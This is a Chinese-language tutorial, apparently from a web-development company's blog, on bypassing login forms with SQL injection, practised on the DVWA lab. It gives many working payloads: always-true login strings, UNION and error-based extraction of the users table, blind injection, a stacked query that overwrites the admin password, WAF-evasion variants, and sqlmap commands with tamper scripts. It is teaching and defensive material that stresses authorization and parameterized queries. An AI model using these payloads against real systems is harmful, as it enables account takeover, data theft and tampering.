SQL注入绕过登录界面:从万能密码到sqlmap实战解析
2026/9/12 3:10:00 网站建设 项目流程

去年做一次授权范围内的安全评估,目标系统是兄弟单位内部的一个后台管理平台。当时端口扫描、目录扫描都没什么成果,常规弱口令也全被拦住了,我盯着登录页看了半天,随手在用户名字段里敲了admin' or '1'='1' --,密码随便填了一串,回车,居然真的登进去了。那一瞬间我就知道,这个系统不少地方要重写了。

这就是标题说的“SQL注入绕过登陆界面”,不是玄学,也不是什么高深技巧,而是一类非常经典的鉴权漏洞——服务端在拼接SQL时没做参数化处理,导致攻击者可以通过闭合、注释、条件构造等方式,让登录校验逻辑直接失效。这篇文章我会从登录场景的具体SQL语句讲起,拆解万能密码、注释绕过、UNION注入、盲注、堆叠注入等常见打法,结合DVWA靶场来演示具体参数和Payload,再补上WAF过滤绕过和sqlmap自动化的实战配置。适合正在学Web安全的初学者、CTF新手,以及想搞清楚“登录框到底怎么防”的后端开发同学参考。

1. 登录鉴权为什么会栽在SQL注入手里

1.1 服务端校验逻辑的常见写法

先看一个最典型的登录查询语句,这段代码在我测过的系统里出现频率极高,经典到几乎没什么变化:

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

后端拿到的逻辑是:从users表里查一条记录,用户名匹配且密码匹配,查到了就说明身份合法,然后把会话标记为已登录。这段SQL本身看着没问题,问题在于$username$password这两个变量是直接拼进SQL字符串里的。用户输入什么,SQL就变成什么。登录框从此不再是一个普通的表单,而是一个可以直接操作数据库的输入口。

顺带说一句,这种写法在很多老旧PHP项目里特别常见,尤其是用了所谓MVC框架但早期没有ORM的那批系统。后来普及的参数化查询(PreparedStatement)正是针对这个问题的标准解法,但在存量系统里,你永远猜不到哪个登录接口还留着老写法。

1.2 注入原理的一句话拆解

所谓“注入”,本质就是破坏原有SQL语句的语法结构。拿万能密码来举例,当用户在用户名输入:

admin' or '1'='1' --

密码随便填xxx,最终拼出来的SQL会变成:

SELECT * FROM users WHERE username = 'admin' or '1'='1' -- ' AND password = 'xxx'

注意看这里的变化:admin'用单引号闭合了原本的用户名字符串,然后or '1'='1'构造了一个恒真条件,最后--把后续的密码校验注释掉。整条SQL的语义就变成了“用户名是admin,或者1等于1”,1等于1永远成立,所以查询一定会返回结果。数据库返回了数据,后端就认为登录成功。

这就是整套手法的核心思路:闭合原有的上下文,构造恶意的条件,屏蔽不想执行的部分。后面的各种Payload,不管多花哨,本质上都逃不出这三步。

2. 环境准备:搭建DVWA靶场与抓包工具

2.1 为什么选DVWA做练习

DVWA(Damn Vulnerable Web Application)是Web安全入门最老牌的靶场,专门用来练习SQL注入、XSS、文件上传等常见漏洞。它的SQL Injection模块分了Low、Medium、High三个安全级别,恰好对应三种不同的代码防御强度,一个模块就能把“裸奔版注入→转义过滤→参数化查询”的演变过程完整串起来。

Low级别的代码就是我上面写的那种普通字符串拼接,漏洞直接裸奔;Medium级别用了mysql_real_escape_string()转义单引号,一上来就劝退不少只会抄Payload的新手;High级别则直接改成PDO预处理,能真正理解“参数化查询为什么能防注入”,这比单纯背几条Payload有价值得多。

2.2 环境搭建与抓包准备

DVWA需要PHP和MySQL环境,本地直接用XAMPP或者LAMP一键搭起来就行,步骤很简单:

  1. 下载DVWA源码放到Web根目录,访问http://127.0.0.1/dvwa/进入安装页。
  2. 修改config/config.inc.php,填上数据库账号密码,默认一般是root和空密码。
  3. 点击安装初始化数据库,默认账号admin/password,登录后把安全级别切到Low。
  4. 打开SQL Injection模块,看到用户名输入框就说明环境OK了。

练习注入时建议同时备一个Burp Suite抓包工具。浏览器开发者工具也能凑合改参数,但Burp在查看完整请求、重放数据包、写自动化脚本这几个场景下方便太多。实际测试中很多登录框有前端JS校验,比如限制输入长度或者直接过滤特殊字符,这种情况直接在浏览器里改是过不去的,必须在Burp里拦截请求再修改后放行。绕过前端限制是渗透测试的日常操作,说白了就是记住一句话:前端所有校验都只是用户体验,不是安全边界

3. 手工注入绕过登录的三种主流打法

3.1 万能密码:从 ' OR '1'='1 说起

万能密码是我每次测试登录框的第一个尝试,速度快,效果直接。核心Payload有这么几类:

Payload拼入SQL后的效果
admin' or '1'='1' --恒真条件加上注释符,最通用
' or 1=1#MySQL中#也可以注释,少写一个空格
') or '1'='1' --适用于SQL前有括号包裹的情况
admin' or '1'='1'#用户名处闭合,密码任意

第一行和第二行看起来差不多,但实际测试中差别很大。有些系统的SQL拼接会在用户名外层加括号,比如WHERE (username = '$username') AND password = '$password',这时普通的单引号闭合就不够了,得用')把括号一起闭合掉。所以Payload不是背得越多越好,关键是理解当前SQL的上下文长什么样。

万能密码在实际测试中成功率其实没那么夸张,很多系统哪怕存在注入也可能因为代码写法差异导致Payload不生效。但它依然是排查登录接口是否有注入风险的第一筛子,成本极低,收益可能极高。

3.2 注释符绕过:让数据库忽略密码校验

刚才提到的--#是数据库里的注释符,作用是把后面的所有内容变成注释,密码校验子句就这样被“忽略”了。不同数据库的注释符还不太一样:

数据库类型注释符说明
MySQL--(注意横线后要跟空格)、#/*...*/--后必须有空格,很多人栽在这里
Oracle--横线后同样要跟空格
SQL Server--用法相同
PostgreSQL--通用

这里有个特别容易翻车的细节:MySQL的--注释符必须紧跟着一个空格,写成admin'--后面直接接别的字符,是注释不掉的。有些教程里Payload写作admin'--,末尾带个空格,这个空格也是有意义的。实际手测时很多人复现失败,十有八九是注释符后头没留空格,或者把#--混着用了。

3.3 UNION注入:直接拖出用户表数据

万能密码只能解决“能不能登录”的问题,但登录进去看到的东西往往有限。真正更有价值的是UNION注入,它能把users表里的用户名密码哈希直接拖出来,拿回去离线破解或者直接构造登录。

UNION注入的关键在于让原查询和UNION查询的字段数一致。先探测字段数,在用户名输入:

admin' ORDER BY 1 -- admin' ORDER BY 2 -- admin' ORDER BY 3 --

当报错时,说明字段数已经超过当前查询的列数。DVWA的登录查询是SELECT * FROM users,users表有8个字段,所以ORDER BY 8正常,ORDER BY 9报错。

确认字段数后,用UNION查询暴露出哪个字段在页面上有回显:

admin' UNION SELECT 1,2,3,4,5,6,7,8 --

页面上显示出数字的位置就是回显位。接着把对应位置的数字替换成你想查的数据。查当前数据库名:

admin' UNION SELECT 1,database(),3,4,5,6,7,8 --

查所有表名:

admin' UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() --

这里的GROUP_CONCAT能把多行结果拼成一行,方便在页面单点回显时一次看全所有表名。查到users表或管理员表后,再查列名,最后把用户名和密码哈希拖出来。这个过程就是CTF里常说的“通过SQL注入获取所有数据库名”的完整链路,information_schema这个库是整个手法的关键,所有表结构信息都存在里面。

4. 进阶场景:报错注入、布尔盲注与堆叠注入

4.1 报错注入拿数据:extractvalue与updatexml的实战参数

有些登录接口是有报错信息回显的,输入一个单引号,页面上会吐出一段SQL错误。这种场景别光顾着确认“有注入”,赶紧接着用报错注入函数把数据从数据库里“炸”出来。

MySQL里最常用的是extractvalueupdatexml,两个函数的原理相同——构造一个XPath表达式解析错误,让数据库把我们要查的数据拼进错误信息里返回。典型Payload:

admin' AND extractvalue(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e)) --

0x7e是波浪号~的十六进制表示,用来在错误信息里定位数据边界。数据库报错会显示类似XPATH syntax error: '~users~'的内容,把users提取出来就是我们要的表名。

updatexml写是等价的:

admin' AND updatexml(1, CONCAT(0x7e, (SELECT password FROM users WHERE username='admin'), 0x7e), 1) --

有个细节值得注意:extractvalue最多显示32个字符,updatexml也一样。如果查出来的数据太长,比如一长串MD5或者多个表名拼一起,后半段会被截断。解决办法是分段取,用SUBSTRINGMID函数慢慢截,或者一次只查一条记录。

4.2 布尔盲注:页面真假里读信息

没有报错回显,页面也不显示数据内容,只有“登录成功”和“登录失败”两种结果,这时候就得靠布尔盲注。原理很简单:通过构造真假条件,观察页面响应差异,一位一位地把数据猜出来。

比如判断当前数据库名的长度:

admin' AND LENGTH(database()) > 1 --

如果登录成功,说明条件为真;登录失败,说明条件为假。然后继续二分法猜:

admin' AND ASCII(SUBSTRING(database(),1,1)) > 100 --

ASCII码大于100说明第一个字符在字母表后段,再继续折半逼近,直到精确匹配。这种方式手工测非常慢,真正在实战中都是用脚本自动跑,或者直接交给sqlmap处理。

判断是否真存在注入点,有一个技巧:先用AND 1=1看是否正常登录,再用AND 1=2看是否登录失败,如果两次结果不同,说明后端确实在根据条件执行SQL,注入点是真实存在的。

4.3 堆叠注入:干脆把密码改成我自己的

如果能同时执行多条SQL语句,那就更直接了——不用猜密码了,直接把管理员的密码改掉,或者插入一个新管理员账号。这种手法叫堆叠注入,前提是后端用的数据库连接API支持多语句执行,MySQL的mysql_query()不支持,但mysqli_multi_query()和PDO在某些配置下是支持的。

典型Payload:

admin'; UPDATE users SET password='newpass' WHERE username='admin' --

如果后端执行了这条语句,那admin的密码就被改成了newpass。攻击者可以直接拿新密码登录。

需要注意,这里的newpass应该是MD5加密后的值,因为很多系统的密码用的是MD5存储,直接写明文可能匹配不上。存储格式不确定时可以先通过前面的注入手法查一下其他用户的密码哈希格式,再照着改,不然改了也白改。

堆叠注入和UNION注入看起来都能拿数据,但适用场景完全不一样。UNION注入要求两条查询的字段数一致,运行环境也受限制;堆叠注入则允许任意SQL语句执行,包括写操作,危害等级高得多。遇到这种能执行多语句的场景,拿下整个服务器就只是时间问题了。

5. 被过滤怎么办:WAF绕过思路与实战手法

5.1 关键字过滤的常规绕过

现实中的登录接口往往不会裸奔,中间可能挡着一层WAF或者代码层过滤。最常见的过滤方式就是黑名单屏蔽关键字,比如把selectunionor这些词直接删掉或者替换成空字符串。这类过滤看起来唬人,绕法其实很成熟。

第一招是大小写混合,老掉牙但依然有效,尤其对只做了简单字符串匹配的过滤规则:

admin' UnIoN SeLeCt 1,2,3,4,5,6,7,8 --

第二招是双写绕过,针对用str_replace('select', '', $input)这种只替换一次的情况。输入selselectect,过滤后变成select,正好还原成目标关键字:

admin' UNION SELSELECTECT 1,2,3,4,5,6,7,8 --

这个技巧在热词里提到的“sql注入replace()”和“sql过滤字符后手工注入”场景中非常实用,本质就是利用过滤逻辑只处理一遍的缺陷,让过滤本身帮我们完成拼装。

第三招是内联注释。MySQL支持一种特殊注释写法/*!50000SELECT*/,里面的内容在MySQL解析时会当作真正的SQL执行,但在外部过滤逻辑眼里它只是注释:

admin' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4,5,6,7,8 --

这种手法在处理“死亡函数”场景时特别有用。所谓绕过死亡函数的三种方法——大小写、双写、内联注释——正好对应上面这三招。实际测试时建议按照这个顺序依次尝试,大多数代码层过滤都能在这三步内突破。

5.2 编码与等价函数替换

过滤规则如果把关键字堵得比较死,还可以试试编码绕过。URL编码是很多WAF容易漏过的,%27代表单引号,%20代表空格,有些WAF只对明文做规则匹配,对编码后的字符不识别。但如果后端获取参数后先做了urldecode()再拼SQL,这种做法就无效了,需要现场灵活判断。

十六进制编码也很有用,字符串可以用0x开头拼接:

admin' UNION SELECT 1,0x7573657273,3,4,5,6,7,8 --

0x7573657273解码后就是users。这能绕开对表名字符串的精确匹配过滤,因为过滤规则里写死的users文本在请求里根本不存在。

另外,过滤规则如果堵了substr,可以用MID或者SUBSTRING替代;堵了sleep可以用BENCHMARK=被过滤时用LIKEIN或者REGEXP,都是同一类思路。关键点在于:过滤规则是人写的,一定有遗漏,等价替换就是不断试探各种写法的过程。

5.3 参数加密场景下的绕过

还遇到过一种登录接口,参数经过Base64编码后才提交,普通注入语句打过去根本没用。这种情况要先解出编码前的明文格式,构造好注入Payload后再编码提交。

比如前端传入的参数是dXNlcj1hZG1pbg==,Base64解码后是user=admin,那把admin换成注入Payload,整体编码后提交就行。有些系统还会在Base64外层再套一层自定义加密,那就得先逆向前端JS逻辑找到加密方式。这种场景下Burp的Decoder模块就很方便,加解密、编码解码一条龙操作。

真实项目里参数加密并不是为了防注入,更多是防重放或者隐藏参数语义,但客观上确实挡住了很多扫描器的自动注入测试。手工测试时需要先摸清加密规则,再在加密层内构造Payload,说白了就是把加密也当成一层“过滤”来处理。

6. 自动化:sqlmap在绕过登录中的应用

6.1 基础用法与常见参数

手工注入一旦摸清注入点类型,就可以上sqlmap收尾了,尤其适合布尔盲注这种逐位猜测的场景。sqlmap在DVWA登录场景下的基本用法:

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1" \ --cookie="PHPSESSID=你的会话ID; security_level=0" \ --dbs

--dbs是列出所有数据库,--tables -D dvwa是指定数据库查表,--dump -T users是拖users表数据。如果是POST表单,加--data指定参数:

sqlmap -u "http://127.0.0.1/dvwa/login.php" \ --data="username=admin&password=pass&Login=Login" \ --cookie="PHPSESSID=你的会话ID" \ --forms

--forms能让sqlmap自动解析页面里的表单,省去手工提取参数的工序。如果默认的探测级别不够深,可能测不出注入点,这时要加--level--risk,这两个参数控制的是测试的深度和风险程度,一般用--level=3 --risk=2就足够大多数场景了。

6.2 常见绕过tamper脚本

sqlmap有个tamper机制,本质上就是用一系列脚本对Payload做变形,帮助绕过WAF和过滤规则。比较常用的几个:

sqlmap -u "http://目标URL" --data="username=admin&password=pass" \ --tamper=space2comment,between,randomcase \ --batch

space2comment把空格替换成注释符,between>替换成BETWEENrandomcase随机大小写,这几个组合在一起能应对大多数基础的过滤规则。双写过滤的场景也有对应脚本,叫doubleurlencode或者直接在--tamper里加上自定义脚本,写在sqlmap的tamper目录下即可。

不过要提醒一句,tamper不是开越多越好,每个tamper都会让Payload变得更复杂,部分特殊组合还可能互相冲突导致请求失效。实际情况下建议先单独测试每个脚本对目标是否有效,再组合使用。

6.3 小心谨慎:自动化不等于无脑

sqlmap虽然强,但它有自己的局限。很多登录接口的注入点藏在复杂的业务逻辑后面,比如需要多步操作才能进入的页面,或者参数经过了加密,sqlmap直接扫不出来。这时候老老实实回到手工测试,摸清楚整个流程后再决定怎么注入。

还有一点,sqlmap默认在高风险模式下可能会执行写操作或者大量密集请求,在授权测试时没问题,但如果是在非授权环境下运行,很容易把系统打崩。所有注入测试,不管是手工还是自动化,都必须在授权范围内进行。这句话不是空话,是真出过事的。

另外,使用sqlmap做好指纹识别很重要,先通过--current-user--current-db确认当前数据库权限。如果当前用户是DBA,那恭喜你,注入的危害等级直接拉满,但此时你更应该收着点,别动生产数据。

7. 常见问题与排查技巧实录

7.1 单引号报错说明什么

实际测试中,输入单引号后页面出现SQL语法错误,通常说明参数确实被拼进了SQL语句,存在注入点。但这时要注意区分是“裸奔型注入”还是“转义型参数拼接”——前者单引号可以正常闭合,后者单引号被addslashes()之类的函数转义成了\',不会触发注入。

判断方法很简单:输入admin\',如果页面恢复正常,说明多半是转义了;如果依然报错,可能转义逻辑本身有缺陷,比如使用了不常用的字符集导致宽字节注入。宽字节注入的经典场景是GBK编码,攻击者输入%bf%27,转义函数在单引号前加反斜杠,但%bf%5c会被数据库当作一个合法的宽字符吃掉,单引号反而逃了出来。这类问题在老系统里特别常见,新系统基本都统一UTF-8了,但存量老系统测试时还是值得留心。

7.2 表名列名猜不出来怎么办

手工注入时最头疼的不是构造Payload,而是不知道表名、列名。information_schema库是MySQL的信息数据库,里面存储了所有数据库、表、列的定义,查它就可以了。前面UNION注入提到过,查询语句模板如下:

-- 查表名 SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database(); -- 查列名 SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users';

如果注入点连information_schema都查不了,可能是权限不足,也可能被WAF屏蔽了。这时可以用sqlmap的--common-tables--common-columns参数,它内置了常见的表名和列名字典,一个一个试。老系统的用户表名就那么几种——usersadmint_usersys_user,总能碰到一个。

7.3 登录接口特有的坑:加密密码与前端校验

登录接口和普通注入点相比有几个特有的坑。第一个是密码字段很可能在提交前被前端加密,比如MD5或者某种自定义算法,这时后端拿到手的是密文,SQL语句里比较的也是密文。注入测试最好聚焦在用户名参数上,admin' or '1'='1' --这种只要用户名成立就完事,密码随便填都能过,反正被注释掉了。

第二个是前端JS校验,比如限制输入长度或直接禁止特殊字符。遇到这种,直接用Burp拦截请求修改参数再放行,前端校验根本拦不住。前端校验的目的从来都不是安全,而是防误操作和提升用户体验,测试时不用被它卡住。

第三个是登录成功的判断依据,可能是HTTP状态码、响应包里的标志位或者Set-Cookie,各不相同。泛化一点说,判断注入是否生效看的是响应差异,只要注入前后页面响应有可观察到的变化,就能用来判别真假。这种差异判断法在盲注场景下,是所有后续操作的基础。

最后说几句实操心得

整套东西练下来,有个体会特别深:SQL注入绕过登录界面,最难的从来不是记住几条Payload,而是把目标系统的SQL语句结构“脑补”出来。你知道它是单引号闭合还是双引号闭合,是括号包裹还是直接拼接,Payload的构造方向就完全不一样。所以测试时不要只是拿着字典一顿乱试,先花几分钟观察报错信息、参数格式、响应差异,往往比盲打十几次更高效。

把DVWA的SQL Injection从Low打到Medium再打到High,能够比较完整地经历从裸奔注入到转义防护、再到参数化查询的整个演进过程。那个体验很直接——你亲手把一个漏洞利用成功,然后在High级别发现无论如何都打不进去了,这时候才真正理解参数化查询为什么被当成标准方案。说到底,学绕过不是为了让谁去黑别人的系统,而是为了在防守时知道刀会从哪里砍过来。只有亲手“打穿”过一个系统,你在写下一行SQL的时候,才会本能地多想一句:这个地方,能注入吗?

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询